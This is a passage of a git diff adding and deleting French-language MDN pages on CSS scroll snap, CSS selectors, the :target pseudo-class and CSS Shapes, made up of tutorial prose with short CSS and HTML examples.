{{EmbedGHLiveSample("css-examples/scroll-snap/scroll-padding-sticky.html", '100%', 700)}}

- -

Ajouter des marges sur les éléments fils du défilement

- -

Une autre méthode permettant d'obtenir un espace entre le bord du conteneur et les éléments fils est d'utiliser la propriété {{CSSxRef("scroll-margin")}} sur l'élément fils. scroll-margin définit principalement le décalage par rapport à la boîte définie. Vous pouvez manipuler cette propriété dans l'exemple interactif suivant :

- -

{{EmbedGHLiveSample("css-examples/scroll-snap/scroll-margin.html", '100%', 700)}}

- -

La propriété scroll-snap-stop

- -

La propriété {{CSSxRef("scroll-snap-stop")}} indique au navigateur qu'il devrait arrêter le défilement pour chaque point d'accroche. Pour nos exemples précédents, cela signifie qu'on s'arrêtera nécessairement au début de chaque section. Cette propriété dispose de moins d'implémentations dans les navigateurs.

- -

Cela peut être utile pour s'assurer que les utilisateurs consultent chaque section sans louper du contenu par inadvertence. En revanche, cela peut rendre le défilement plus lent et ralentir considérablement un utilisateur qui chercherait une section donnée.

- -
-

Note : La propriété scroll-snap-stop est actuellement mise en question dans la version Candidate Recommendation de la spécification et pourrait être retirée.

-
- -

Compatibilité des navigateurs

- -

Les pages de chaque propriété détaillent la compatibilité des différents navigateurs. On notera qu'avant Firefox 68, une ancienne version de la spécification était implémentée. Vous pouvez poursuivre avec le guide suivant pour en savoir plus sur l'écriture de code compatible entre les différents navigateurs qui implémentent différentes versions de la spécification.

diff --git a/files/fr/web/css/css_selectors/index.html b/files/fr/web/css/css_selectors/index.html new file mode 100644 index 0000000000..a9d6f91d81 --- /dev/null +++ b/files/fr/web/css/css_selectors/index.html @@ -0,0 +1,114 @@ +--- +title: Sélecteurs CSS +slug: Web/CSS/Sélecteurs_CSS +tags: + - Aperçu + - CSS + - CSS Selectors + - Reference + - Sélecteur +translation_of: Web/CSS/CSS_Selectors +--- +
{{CSSRef}}
+ +

Les sélecteurs définissent les éléments sur lesquelles s'applique un ensemble de règles CSS.

+ +

Les sélecteurs simples

+ +
+
Les sélecteurs de type
+
Ce sélecteur simple permet de cibler les éléments qui correspondent au nom indiqué.
+ Syntaxe : nomelement
+ Exemple : input permettra de cibler n'importe quel élément {{HTMLElement('input')}}.
+
Les sélecteurs de classe
+
Ce sélecteur simple permet de cibler les éléments en fonction de la valeur de leur attribut class.
+ Syntaxe : .nomclasse
+ Exemple : .index permettra de cibler n'importe quel élément qui possède la classe index (vraisemblablement définie avec un attribut class="index").
+
Les sélecteurs d'identifiant
+
Ce sélecteur simple permet de cibler un élément d'un document en fonction de la valeur de son attribut id. Dans un document, il ne doit y avoir qu'un seul élément pour un identifiant donné.
+ Syntaxe : #valeurid
+ Exemple : #toc permettra de cibler l'élément qui possède l'identifiant toc (vraisemblablement défini avec un attribut id="toc").
+
Le sélecteur universel
+
Ce sélecteur permet de cibler tous les nœuds d'un document. Il existe également une variante pour ne cibler qu'un seul espace de noms et une variante pour cibler tous les espaces de noms.
+ Syntaxe : * ns|* *|*
+ Exemple : * permettra de cibler tous les éléments du document.
+
Les sélecteurs d'attribut
+
Ce sélecteur simple permet de cibler des éléments d'un document en fonction de la valeur d'un de leurs attributs.
+ Syntaxe : [attr] [attr=valeur] [attr~=valeur] [attr|=valeur] [attr^=valeur] [attr$=valeur] [attr*=valeur]
+ Exemple : [autoplay] permettra de cibler tous les éléments qui possède l'attribut autoplay défini (quelle que soit sa valeur).
+
+ +

Les combinateurs

+ +
+
Les sélecteurs de voisin direct
+
Le combinateur '+' permet de sélectionner les nœuds qui suivent immédiatement un élément donné.
+ Syntaxe : A + B
+ Exemple : div + p permettra de cibler n'importe quel élément {{HTMLElement('p')}} qui suit immédiatement un élément {{HTMLElement('div')}}.
+
Les sélecteurs de voisins
+
Le combinateur '~' permet de sélectionner les nœuds qui suivent un élément et qui ont le même parent.
+ Syntaxe : A ~ B
+ Exemple : p ~ span permettra de cibler les éléments {{HTMLElement('span')}} qui suivent (immédiatement ou non) un élément {{HTMLElement('p')}} et qui ont le même élément parent.
+
Les sélecteurs d'éléments fils
+
Le combinateur '>' permet de sélectionner les nœuds qui sont des fils directs d'un élément donné.
+ Syntaxe : A > B
+ Exemple : ul > li permettra de cibler tous les éléments {{HTMLElement('li')}} qui sont directement situés sous un élément {{HTMLElement('ul')}}.
+
Les sélecteurs d'éléments descendants
+
Le combinateur   (espace) permet de sélectionner les nœuds qui sont des descendants (pas nécessairement des fils directs) d'un élément donné.
+ Syntaxe : A B
+ Exemple : div span permettra de cibler n'importe quel élément {{HTMLElement('span')}} situé à l'intérieur d'un élément {{HTMLElement('div')}}.
+
Le combinateur de colonne{{experimental_inline}}
+
Le combinateur || sélectionne les nœuds qui appartiennent à une colonne. Syntaxe : A || B
+ Exemple : col || td permettra de cibler n'importe quel élément {{HTMLElement('td')}} sous la portée d'une colonne {{HTMLElement('col')}}.
+
+ +

Les pseudo-classes

+ +
+
Les pseudo-classes permettent de cibler des éléments selon une information d'état qui n'est pas stockée dans l'arbre du document.
+
Exemple: a:visited permettra de cibler l'ensemble des éléments {{HTMLElement('a')}} (des liens) ayant déjà été visités par l'utilisateur.
+
+ +

Les pseudo-éléments

+ +
+
Les pseudo-éléments représentent des entités du document qui ne sont pas décrites en HTML.
+
Exemple : p::first-line permettra de cibler la première ligne de chacun des éléments {{HTMLElement('p')}} (les paragraphes) du document.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS4 Selectors')}}{{Spec2('CSS4 Selectors')}}Ajout du combinateur de colonne (||), des sélecteurs structurels pour la  grille, des combinateurs logiques, des pseudo-classes pour la localisation, la temporisation, les états de ressources, les éléments linguistiques et les éléments relatifs à l'interface utilisateur. Ajout du modificateur de sensibilité à la casse pour les caractèes ASCII et du ciblage des attributs insensible à la casse.
{{SpecName('CSS3 Selectors')}}{{Spec2('CSS3 Selectors')}}Ajout du combinateur de voisin ~. Les pseudo-éléments utilisent désormais un préfixe avec deux fois deux-points (::)
{{SpecName('CSS2.1', 'selector.html')}}{{Spec2('CSS2.1')}} +

Ajout des combinateurs pour les fils (>) et voisins adjacents (+).
+ Ajout du sélecteur universel et du sélecteur d'attribut.

+
{{SpecName('CSS1')}}{{Spec2('CSS1')}}Définition initiale.
diff --git a/files/fr/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.html b/files/fr/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.html new file mode 100644 index 0000000000..8aeae8c255 --- /dev/null +++ b/files/fr/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.html @@ -0,0 +1,63 @@ +--- +title: 'Utiliser la pseudo-classe :target dans un sélecteur' +slug: 'Web/CSS/Sélecteurs_CSS/Utiliser_la_pseudo-classe_:target_dans_un_selecteur' +tags: + - CSS + - Guide + - Intermédiaire +translation_of: 'Web/CSS/CSS_Selectors/Using_the_:target_pseudo-class_in_selectors' +--- +
{{CSSRef}}
+ +

Afin d'aider à identifier la destination d'un lien qui mène vers une portion spécifique du document, les sélecteurs CSS3 ont introduit la pseudo-classe {{cssxref(":target")}}.

+ +

Choisir une cible

+ +

La pseudo-classe {{cssxref(":target")}} permet de mettre en forme l'élément ciblé par le fragment d'identifiant de l'URL du document. Ainsi l'URL https://developer.mozilla.org/fr/docs/Utiliser_la_pseudo-classe_:target_dans_un_selecteur#Exemple contient le fragment d'identifiant #Exemple. En HTML, les identifiants correspondent aux valeurs des attributs id et name, puisque les deux partagent le même espace de nommage. Ainsi l'URL dans l'exemple devrait pointer vers le titre « Exemple » de ce document.

+ +

Imaginons qu'on souhaite mettre en forme n'importe quel élément {{HTMLElement("h2")}} qui serait la cible de l'URL mais qu'on ne souhaite pas qu'un autre type d'élément ait un style particulier lorsqu'il est ciblé. On peut obtenir cet effet assez simplement :

+ +
h2:target {
+  font-weight: bold;
+}
+ +

On peut également créer des styles particuliers pour une portion spécifique du document. On peut ainsi utiliser la même valeur identifiant la cible que celle présente dans l'URL. Par exemple, pour ajouter une bordure au fragment #Exemple, on pourra écrire :

+ +
#Exemple:target {
+  border: 1px solid black;
+}
+ +

Cibler tous les éléments

+ +

Si le but est de créer un style commun qui s'appliquera à tous les éléments lorsque ceux-ci seront ciblés, un sélecteur universel utilisant seulement la pseudo-classe s'avèrera très pratique :

+ +
:target {
+  color: red;
+}
+
+ +

Exemple

+ +

Dans l'exemple suivant, cinq liens pointent chacun vers une portion du même document. Actionner le lien « Premier », par exemple, fera en sorte que le <h1 id="un"> devienne l'élément cible. Notons que le document pourrait défiler vers une nouvelle position, jusqu'à la cible du lien.

+ +
+
<h4 id="un">...</h4> <p id="deux">...</p>
+<div id="trois">...</div> <a id="quatre">...</a> <em id="cinq">...</em>
+
+<a href="#un">Premier</a>
+<a href="#deux">Deuxième</a>
+<a href="#trois">Troisième</a>
+<a href="#quatre">Quatrième</a>
+<a href="#cinq">Cinquième</a>
+
+ +

Conclusion

+ +

Les utilisateurs peuvent être gênés lorsqu'un fragment d'identifiant mène à une portion du document, ne sachant pas quelle partie du document ils sont supposés lire. En mettant en forme la cible d'une URI, on peut réduire (voire supprimer) cette confusion.

+ +

Voir aussi

+ + diff --git "a/files/fr/web/css/css_shapes/aper\303\247u_formes_css/index.html" "b/files/fr/web/css/css_shapes/aper\303\247u_formes_css/index.html" deleted file mode 100644 index bf8d674cf3..0000000000 --- "a/files/fr/web/css/css_shapes/aper\303\247u_formes_css/index.html" +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: Aperçu des formes CSS -slug: Web/CSS/CSS_Shapes/Aperçu_formes_CSS -tags: - - Aperçu - - CSS - - CSS Shapes - - Formes CSS -translation_of: Web/CSS/CSS_Shapes/Overview_of_CSS_Shapes ---- -
{{CSSRef}}
- -

La spécification CSS Shapes Level 1 définit les formes géométriques en CSS. Pour ce module de niveau 1, ces formes s'appliquent aux éléments qui utilisent une disposition flottante. Dans cet article, nous verrons un aperçu de ce qu'il est possible de faire avec les formes en CSS.

- -

Si on fait flotter un élément à gauche d'un texte, on verra le texte écrit autour de cet élément en suivant un contour rectangulaire. Si on applique une forme circulaire à cet élément, le texte suivra alors le contour du cercle.

- -

Il existe différentes façons de créer des formes CSS et nous verrons, dans ces guides, leur fonctionnement et les cas d'utilisation.

- -

Que définit la spécification ?

- -

La spécification définit trois nouvelles propriétés :

- -
    -
  • {{cssxref("shape-outside")}} qui permet de définir des formes simples
    • -
  • {{cssxref("shape-image-threshold")}} qui permet d'indiquer un seuil d'opacité. Si une image est utilisée afin de définir une forme, seuls les fragments de l'image qui sont d'une opacité supérieure ou égale à ce seuil seront utilisés afin de créer la forme. Les autres fragments de l'image sont ignorés.
    • -
  • {{cssxref("shape-margin")}} définit une marge autour d'une forme
    • -
- -

Définir des formes simples

- -

La propriété shape-outside permet de définir une forme. Cette propriété peut prendre différentes valeurs dont chacune définit une forme différente. Ces valeurs sont définies par le type de donnée {{cssxref("<basic-shape>")}}. Prenons un exemple simple pour commencer.

- -

Dans l'exemple qui suit, on a une image qui flotte à gauche. Ensuite, on lui applique shape-outside avec la valeur circle(50%). Grâce à cette règle, le contenu épouse alors une forme circulaire plutôt que le rectangle qui était formé par la boîte de l'image.

- -

{{EmbedGHLiveSample("css-examples/shapes/overview/circle.html", '100%', 720)}}

- -

À l'heure actuelle, la spécification indique qu'un élément doit flotter si on veut lui appliquer <basic-shape>. De cette façon, l'amélioration progressive est rapidement obtenue car si le navigateur ne prend pas en charge les formes CSS, l'utilisateur verra le contenu épouser une forme rectangulaire (comme auparavant). Si le navigateur prend en charge les formes, la disposition visuelle sera améliorée.

- -

Formes simples (Basic Shapes)

- -

La valeur circle(50%) est une exemple de forme simple. La spécification fournit quatre valeur de types <basic-shape> :

- -
    -
  • inset()
    • -
  • circle()
    • -
  • ellipse()
    • -
  • polygon()
    • -
- -

Avec la valeur inset(), le texte environnant continue d'épouser une forme rectangulaire mais on peut décaler ce rectangle afin de rapprocher le texte de l'objet flottant par exemple.

- -

Nous avons vu le fonctionnement de circle() dans l'exemple précédent : cette notation fonctionnelle permet de créer une forme circulaire. ellipse() est assez proche et permet de créer une ellipse (qu'on peut voir comme un cercle aplati). Si aucune de ces formes ne vous convient, vous pouvez utiliser polygon() afin de créer un polygone correspondant à une forme complexe.

- -

Dans le guide sur les formes simples, nous verrons comment créer et exploiter ces formes.

- -

Boîtes de référence

- -

Les formes sont créées sur une boîte donnée. Aussi, on peut créer une boîte par rapport à chacune des boîtes du modèle de boîte et utiliser les valeurs :

- -
    -
  • border-box
    • -
  • padding-box
    • -
  • content-box
    • -
  • margin-box
    • -
- -

Dans l'exemple qui suit, vous pouvez modifier la valeur border-box afin d'utiliser une autre valeur et observer comment se déplace la forme par rapport à la boîte.

- -

{{EmbedGHLiveSample("css-examples/shapes/overview/box.html", '100%', 810)}}

- -

Pour en savoir plus, voir le guide sur les formes et les boîtes.

- -

Générer une forme à partir d'une image

- -

Une autre méthode qui peut s'avérer utile consiste à générer une forme à partir d'une image et de son canal alpha :  le texte épousera alors la forme non-transparente de l'image. On peut alors avoir un texte qui « s'écoule » dans une image ou autour. Cette méthode permet aussi d'avoir une forme plus complexe sans avoir à recourir à un polygone (il n'est pas nécessaire que  l'image  soit visible).

- -

Attention, les images utilisées ainsi doivent être compatibles avec les règles CORS. Se n'est pass le cas, shape-outside se comportera comme si elle avait reçu la valeur none et il n'y aura alors aucune forme.

- -

Dans l'exemple qui suit, on utilise une image avec une zone complètement transparente et on utilise une image comme valeur d'URL pour shape-outside. La forme ainsi créée utilise la zone opaque de l'image : la forme de la montgolfière.

- -

{{EmbedGHLiveSample("css-examples/shapes/overview/image.html", '100%', 800)}}

- -

shape-image-threshold

- -

La propriété shape-image-threshold permet d'ajuster le seuil de transparence utilisé pour créer une forme à partir d'une image. Si la valeur de shape-image-threshold est 0.0 (la valeur initiale), ce seront les parties totalement transparentes de l'image qui créeront la forme. Si la valeur 1.0, toutes les zones de l'image (y compris celles totalement opaques) seront utilisées pour la forme. Les valeurs intermédiaires permettent d'utiliser des zones partiellement transparentes pour définir la forme.

- -

Dans l'exemple suivant, on utilise une image qui est un dégradé et qui permet de définir la forme. Vous pouvez modifier la valeur du seuil afin de faire évoluer la forme.

- -

{{EmbedGHLiveSample("css-examples/shapes/overview/threshold.html", '100%', 820)}}

- -

Dans l'article Créer des formes à partir d'images, nous verrons plus en détails le fonctionnement de ces propriétés.

- -

La propriété shape-margin

- -

La propriété {{cssxref("shape-margin")}} ajoute une marge à shape-outside. Cela permet d'écarter le contenu de la forme.

- -

Dans l'exemple qui suit, on a une forme simple sur laquelle on ajoute shape-margin. Vous pouvez modifier la valeur de cette propriété afin de rapprocher ou d'éloigner le texte de la forme.

- -

{{EmbedGHLiveSample("css-examples/shapes/overview/shape-margin.html", '100%', 800)}}

- -

Utiliser du contenu généré comme objet flottant

- -

Dans les exemples qui précèdent, nous avons utilisé des images ou des éléments visibles afin de définir la forme. Autrement dit, la forme est visible sur la page. Il se peut également qu'on veuille que le texte suive une ligne invisible qui ne soit pas droite. On pourrait le faire avec une image ensuite rendue invisible mais on aurait alors des éléments redondants dans le document. Aussi, autant utiliser du contenu généré afin de strictement conserver la mise en forme dans la feuille CSS.

- -

Dans l'exemple qui suit, on utilise du contenu généré afin d'inséer un élément avec une hauteur et une largeur de 150 pixels. On peut alors ensuite utiliser les formes simples, les boîtes de référence ou le canal alpha d'une image afin de créer une forme qu'épouserait le texte.

- -

{{EmbedGHLiveSample("css-examples/shapes/overview/generated-content.html", '100%', 850)}}

- -

Relations avec clip-path

- -

Les valeurs utilisées pour les formes simples et pour les boîtes de référence sont les mêmes que celles utilisées pour la propriété {{cssxref("clip-path")}}. Ainsi, si on souhaite créer une forme à partir d'une image et rogner une partie de cette image, on pourra utiliser les mêmes valeurs.

- -

Ci-après, on a une image carrée avec un arrière-plan bleu. On a défini la forme avec  shape-outside: ellipse(40% 50%); puis utilisé clip-path: ellipse(40% 50%); afin de rogner l'image pour suivre la forme.

- -

{{EmbedGHLiveSample("css-examples/shapes/overview/clip-path.html", '100%', 800)}}

- -

Outils de développement pour les formes CSS

- -

Avec la prise en charge des formes CSS, Firefox sort également une nouvelle fonctionnalités dans les outils de développement : l'éditeur de chemin pour les formes (Shape Path Editor). Cet outil permet d'inspecter les formes présentes sur la page et de modifier leurs valeurs à la volée. Si votre polygone n'a pas l'aspect escompté, vous pouvez le modifier via l'éditeur puis recopier la nouvelle valeur dans votre fichier CSS.

- -

L'éditeur de chemin pour les formes sera activé par défaut avec Firefox 60 pour les formes générées grâce à clip-path. Vous pouvez également l'utiliser afin d'éditer les formes générées grâce à shape-outside à condition d'avoir activé la préférence layout.css.shape-outside.enabled.

- -

Les futures fonctionnalités

- -

Dans sa version initiale, le module de spécification pour les formes contenait une propriété shape-inside afin de créer des formes à l'intérieur d'un élément. Cette propriété, ainsi que la possibilité de créer des formes sur des éléments non-flottants, a été repoussée à la spécification de niveau 2. La propriété shape-inside était initialement décrite dans la spécification de niveau 1 et vous pouvez donc trouver certains tutoriels qui détaillent ces deux propriétés.

diff --git a/files/fr/web/css/css_shapes/basic_shapes/index.html b/files/fr/web/css/css_shapes/basic_shapes/index.html new file mode 100644 index 0000000000..e1c594bce0 --- /dev/null +++ b/files/fr/web/css/css_shapes/basic_shapes/index.html @@ -0,0 +1,149 @@ +--- +title: Formes simples +slug: Web/CSS/CSS_Shapes/Formes_simples +tags: + - CSS + - CSS Shapes + - Guide +translation_of: Web/CSS/CSS_Shapes/Basic_Shapes +--- +
{{CSSRef}}
+ +

Les formes CSS peuvent être définies grâce au type {{cssxref("<basic-shape>")}}. Dans ce guide, nous verrons les différentes valeurs utilisables avec ce type et leur fonctionnement. Ces formes peuvent par exemple décrire des cercles simples voire des polygones complexes.

+ +

Avant d'étudier ces formes dans le détail, attardons nous sur deux notions qui permettent de construire les formes :

+ +
    +
  • Le type de donnée <basic-shape>
    • +
  • La boîte de référence
    • +
+ +

Le type <basic-shape>

+ +

Le type de donnée <basic-shape> fournit les valeurs que nous utiliserons ici pour toutes les formes simples. Ce type utilise une notation fonctionnelle : le type de forme souhaité est suivi de parenthèses au sein desquelles on ajoute différentes valeurs pour décrire la forme finale.

+ +

Les arguments de ces fonctions varient selon la forme qu'on veut créer et nous allons voir ces arguments dans les exemples ci-après.

+ +

La boîte de référence

+ +

La boîte de référence définit le système de coordonnées de chaque forme. Nous avons déjà abordé cette boîte dans le guide sur la création de formes à partir des boîtes où nous avons directement utilisé la boîte de référence afin de créer une forme.

+ +

L'inspecteur des formes CSS de Firefox affiche la boîte de référence lorsqu'on inspecte une forme. Dans la capture d'écran suivante, on a créé un cercle avec shape-outside: circle(50%), l'élément flottant possède 20 pixels de remplissage avec la bordure et la marge. On voit que l'inspecteur affiche ces boîtes de référence. Lorsqu'on utilise une forme basique, la boîte de référence utilisée par défaut est la boîte des marges. Dans la capture d'écran, on voit que la forme est définie relativement aux boîtes du modèle de boîtes.

+ +

+ +

La boîte de référence qu'on veut utiliser peut être ajoutée après la définition de la forme simple. Autrement dit, le comportement obtenu par défaut est équivalent à l'écriture de .

+ +
.shape {
+  shape-outside: circle(50%) margin-box;
+}
+
+ +

On peut changer ce paramètre si la forme utilise une autre boîte du modèle de boîte. Par exemple, si on souhaite utilise la boîte de bordure, on pourra écrire :

+ +
.shape {
+  shape-outside: circle(50%) border-box;
+}
+
+ +

On notera que la boîte margin-box pourra rogner la forme et que les formes créées relativement aux autres formes et qui dépassent la boîte de marge seront rognées pour être inscrites dans la boîte de marge. Nous verrons ce comportement dans les exemples suivants.

+ +

Pour une description des boîtes et de leurs relations avec les formes CSS, voir Comprendre les liens entre les boîtes de référence et les formes CSS.

+ +

inset()

+ +

Le type inset() définit un rectangle. Cela peut sembler peu utile car c'est déjà la forme d'une boîte normale. Toutefois, avec inset(), on peut inclure des décalages et déplacer la forme autour de la boîte de référence.

+ +

inset() prend comme arguments quatre valeurs pour les quatres côtés : haut, droit, bas, gauche puis une dernière pour border-radius. Le fragment de code CSS suivant permet de créér une forme rectangulaire décalée depuis la boîte de référence (20 pixels du haut et du bas, 10 pixels de la gauche et de la droite) et pour laquelle border-radius vaut 10 pixels.

+ +
.shape {
+  float: left;
+  shape-outside: inset(20px 10px 20px 10px round 10px);
+}
+
+ +

Utilisant les mêmes règles vues pour la version raccourcie de la marge (cf. {{cssxref("margin")}}), on peut indiquer plusieurs décalages de façon synthétique :

+ +
    +
  • Lorsqu'une seule valeur est fournie, elle est utilisée pour tous les côtés.
    • +
  • Lorsque deux valeurs sont fournies, la première correspond aux décalages haut et bas et la deuxième correspond aux décalages gauche et droit
    • +
  • Lorsque trois valeurs sont fournies, la première correspond au décalage haut, la deuxième aux décalages droit et gauche et la dernière au décalage bas.
    • +
  • Avec quatre valeurs, les décalages suivent l'ordre trigonométrique : haut, droit, bas, gauche.
    • +
+ +

Ainsi, la règle écrite ci-avant peut-être formulée :

+ +
.shape {
+  float: left;
+  shape-outside: inset(20px 10px round 10px);
+}
+ +

Dans l'exemple qui suit, on a une forme inset() qu'on décale au-delà de l'élément flottant. Vous pouvez éditer l'exemple afin d'observer l'effet des différentes valeurs de décalages.

+ +

{{EmbedGHLiveSample("css-examples/shapes/basic-shape/inset.html", '100%', 800)}}

+ +

Vous pouvez également ajouter une valeur pour la boîte de référence. Dans l'exemple suivant, vous pouvez modifier margin-box afin d'utiliser border-box, padding-box ou content-box pour observer la façon dont la boîte de référence modifie l'origine des coordonnées utilisées pour les décalages.

+ +

{{EmbedGHLiveSample("css-examples/shapes/basic-shape/inset-box.html", '100%', 800)}}

+ +

circle()

+ +

La valeur circle() peut être utilisée pour shape-outside et prend jusqu'à deux argument. Le premier de ces arguments correspond à shape-radius.

+ +

La fonction circle() et la fonction ellipse(), pour shape-outside, peuvent utiliser cet argument <shape-radius>. Ce dernier peut être une longueur ou un pourcentage mais également l'un des mots-clés closest-side ou farthest-side.

+ +

Le mot-clé closest-side utilise la longueur depuis le centre de la forme jusqu'au côté le plus proche de la boîte de référence. Pour les cercles, c'est le côté le plus proche dans n'importe quelle dimension. Pour les ellipses, c'est le côté le plus proche selon l'axe du rayon de l'ellipse.

+ +

Le mot-clé farthest-side utilise la longueur depuis le centre de la forme jusqu'au côté le plus éloigné de la boîte de référence. Pour les cercles, c'est le côté le plus éloigné, quelle que soit la dimension. Pour les ellipses, c'est le côté le plus éloigné selon l'axe du rayon.

+ +

Le deuxième argument est une position dont la valeur par défaut est center. Toutefois, n'importe quelle position valide peut être utilisée afin d'indiquer le centre du cercle.

+ +

Pour résumer, le cercle accepte un rayon qui peut être une longueur, un pourcentage ou le mot-clé closest-side ou farthest-side, optionnellement suivi par le mot-clé at suivi par une position.

+ +

Dans l'exemple qui suit, on crée un cercle sur un objet de 100 pixels de large avec une marge de 20 pixels. On a donc une largeur totale de la boîte de référence de 140 pixels. On indique une valeur de 50% pour shape-radius, ce qui crée donc un cercle de 70 pixels de rayon avec une position fixée à 30%.

+ +

{{EmbedGHLiveSample("css-examples/shapes/basic-shape/circle.html", '100%', 800)}}

+ +

Dans cet exemple, vous pouvez augmenter ou réduire le rayon pour adapter la taille du cercle ou déplacer le cercle via la position. Vous pouvez aussi modifier la boîte de référence.

+ +

Ajoutons un autre exemple, en utilisant les mots-clés top left pour indiquer la position, on peut créer une forme en quart de cercle pour le coin supérieur gauche de la page. L'exemple qui suit illustre comment créer un quart de cercle avec du texte qui est écrit autour.

+ +

{{EmbedGHLiveSample("css-examples/shapes/basic-shape/circle-generated.html", '100%', 700)}}

+ +

Limitation à la boîte de marge

+ +

Lorsqu'on a décrit les boîtes de référence ci-avant, on a vu que la boîte de marge pourra rogner la forme. Pour observer cet effet, on peut déplacer le centre du cercle vers le contenu en utilisant la valeur 60% pour la position. Le centre du cercle est alors plus près du contenu et la forme du cercle pourrait dépasser la boîte de marge. La forme est donc rognée et on voit alors un aplat.

+ +
img {
+  float: left;
+  shape-outside: circle(50% at 60%);
+}
+
+ +

The circle shape is clipped by the margin box

+ +

ellipse()

+ +

Une ellipse peut être vue comme un cercle aplati. De ce point de vu ellipse() fonctionne de façon analogue à circle() mais il est nécessaire d'indiquer deux rayons : un rayon horizontal x et un rayon vertical y (dans cet ordre).

+ +

Ces rayons peuvent être suivis par une position qui permet, comme avec circle(), de déplacer le centre de l'ellipse. Dans l'exemple qui suit, on dessine une ellipse avec un rayon horizontal de 40%, un rayon vertical de 50% et une position à gauche. Cela signifie que le centre de l'ellipse sera situé sur le bord gauche et on aura donc une demi-ellipse autour de laquelle s'écoulera le texte. N'hésitez pas à modifier ces valeurs pour voir l'impact sur l'exemple.

+ +

{{EmbedGHLiveSample("css-examples/shapes/basic-shape/ellipse.html", '100%', 800)}}

+ +

Les mots-clés closest-side et farthest-side permettent de créer rapidmeent une ellipse en fonction de la taille de la boîte de référence de l'élément flottant.

+ +

{{EmbedGHLiveSample("css-examples/shapes/basic-shape/ellipse-keywords.html", '100%', 800)}}

+ +

polygon()

+ +

La forme simple qui permet de créer une grande variété de formes est polygon(). Cette forme prend comme arguments trois ou plusieurs paires de valeurs qui correspondent aux coordonnées dessinées dans la boîte de référence. Attention, les coordonnées doivent au moins former un triangle.

+ +

Dans l'exemple qui suit, on crée une forme avec polygon() pour que le texte s'écoule autour. N'hésitez pas à modifier les valeurs pour visualiser les impacts.

+ +

{{EmbedGHLiveSample("css-examples/shapes/basic-shape/polygon.html", '100%', 800)}}

+ +

L'inspecteur de formes Firefox s'avère très utile pour créer une forme de polygone. La capture d'écran qui suit illustre la forme dessinée dans l'outil.

+ +

The polygon basic shape, highlighted with the Shapes Inspector.

+ +

Une autre ressource qui peut s'avérer utile sur ces sujets est Clippy : cet outil permet de créer des formes pour clip-path. Or, les formes utilisées pour clip-path sont les mêmes que pour les formes simples.

diff --git "a/files/fr/web/css/css_shapes/cr\303\251er_formes_bo\303\256tes/index.html" "b/files/fr/web/css/css_shapes/cr\303\251er_formes_bo\303\256tes/index.html" deleted file mode 100644 index 5ed5b06bfa..0000000000 --- "a/files/fr/web/css/css_shapes/cr\303\251er_formes_bo\303\256tes/index.html" +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Créer des formes à partir des boîtes -slug: Web/CSS/CSS_Shapes/Créer_formes_boîtes -tags: - - Boîtes - - CSS - - CSS Shapes - - Formes CSS - - Guide -translation_of: Web/CSS/CSS_Shapes/From_box_values ---- -
{{CSSRef}}
- -

Une méthode permettant de créer des formes consiste à utiliser les valeurs provenant du modèle de boîte CSS. Dans cet article, nous verrons comment les utiliser.

- -

Les valeurs de boîte qui sont autorisées pour les formes sont :

- -
    -
  • content-box
    • -
  • padding-box
    • -
  • border-box
    • -
  • margin-box
    • -
- -

Les valeurs border-radius sont également prises en charge et on peut donc avoir une forme qui possède une bordure arrondie.

- -

Le modèle de boîte CSS

- -

Les valeurs énumérées ci-avant correspondent aux différentes boîtes du modèle de boîte CSS. En CSS, une boîte possède un contenu (content), du remplissage (padding), une bordure (border) ainsi qu'une marge (margin).

- -

The Box Model consists of the margin, border, padding and content boxes.

- -

En utilisant une de ces valeurs, il est possible de suivre le contour d'une de ces zones. Dans les exemples qui suivent, on utilise un élément qui possède du remplissage, une bordure et une marge afin d'observer l'impact de ces différentes valeurs pour la définition d'une forme et le comportement du contenu alentour.

- -

margin-box

- -

La valeur margin-box correspond à la forme de la boîte de marge et suit le bord extérieur de la marge en prenant en compte les coins arrondis de la forme si {{cssxref("border-radius")}} a été utilisé sur l'élément.

- -

Dans l'exemple suivant, on a un élément circulaire mauve qui est un élément {{htmlelement("div")}} avec une hauteur, une largeur et une couleur d'arrière-plan. La propriété border-radius a été utilisée afin de créer le cercle avec border-radius: 50%. L'élément ayant une marge, on peut voir le contenu évoluer autour de cette forme circulaire en prenant la marge en compte.

- -

{{EmbedGHLiveSample("css-examples/shapes/box/margin-box.html", '100%', 800)}}

- -

border-box

- -

La valeur border-box correspond à la forme définie par le bord extérieur de la bordure. La forme épouse la bordure et les éventuels arrondis qui lui sont appliqués. Un élément possède toujours une bordure même si {{cssxref("border")}} n'a pas explicitement été utilisé. Si c'est le cas, border-box sera équivalent à padding-box et la forme suivra le bord extérieur de la boîte de remplissage.

- -

Avec l'exemple qui suit, on peut voir que le texte suit désormais les lignes créées par la bordure. Vous pouvez modifier la taille de cette bordure pour voir le déplacement du contenu autour.

- -

{{EmbedGHLiveSample("css-examples/shapes/box/border-box.html", '100%', 800)}}

- -

padding-box

- -

La valeur padding-box correspond à la forme définie par le bord extérieur de la boîte de remplissage (padding). La forme suit les règles d'arrondies appliquées à la bordure. Si aucun remplissage n'est appliqué, padding-box sera équivalent à content-box.

- -

{{EmbedGHLiveSample("css-examples/shapes/box/padding-box.html", '100%', 800)}}

- -

content-box

- -

La valeur content-box correspond à la forme définie par le bord extérieur de la boîte de contenu. Chaque coin possède un rayon de courbure qui est le maximum entre 0 et border-radius − border-width − padding. Cela signifie qu'il est impossible d'avoir une valeur négative pour cette boîte.

- -

{{EmbedGHLiveSample("css-examples/shapes/box/content-box.html", '100%', 800)}}

- -
-

Note : Pour en savoir plus sur le modèle de boîte CSS, voir cet article.

-
- -

Quand utiliser les valeurs de boîte

- -

Les valeurs correspondant aux boîtes permettent de créer des formes simplement. Toutefois, cela ne fonctionne que pour des formes simples, définies en partie avec la propriété border-radius. Les exemples ci-avant montrent un tel cas d'utilisation (on crée une forme circulaire grâce à cette propriété).

- -

Malgré cela, il est possible de créer des effets intéressants en n'utilisant que cette technique. Pour ce dernier exemple, on a deux éléments qui flottent à droite et à gauche et on leur affecte une valeur border-radius de 100% dans la direction la plus proche du texte.

- -

{{EmbedGHLiveSample("css-examples/shapes/box/bottom-margin-box.html", '100%', 800)}}

- -

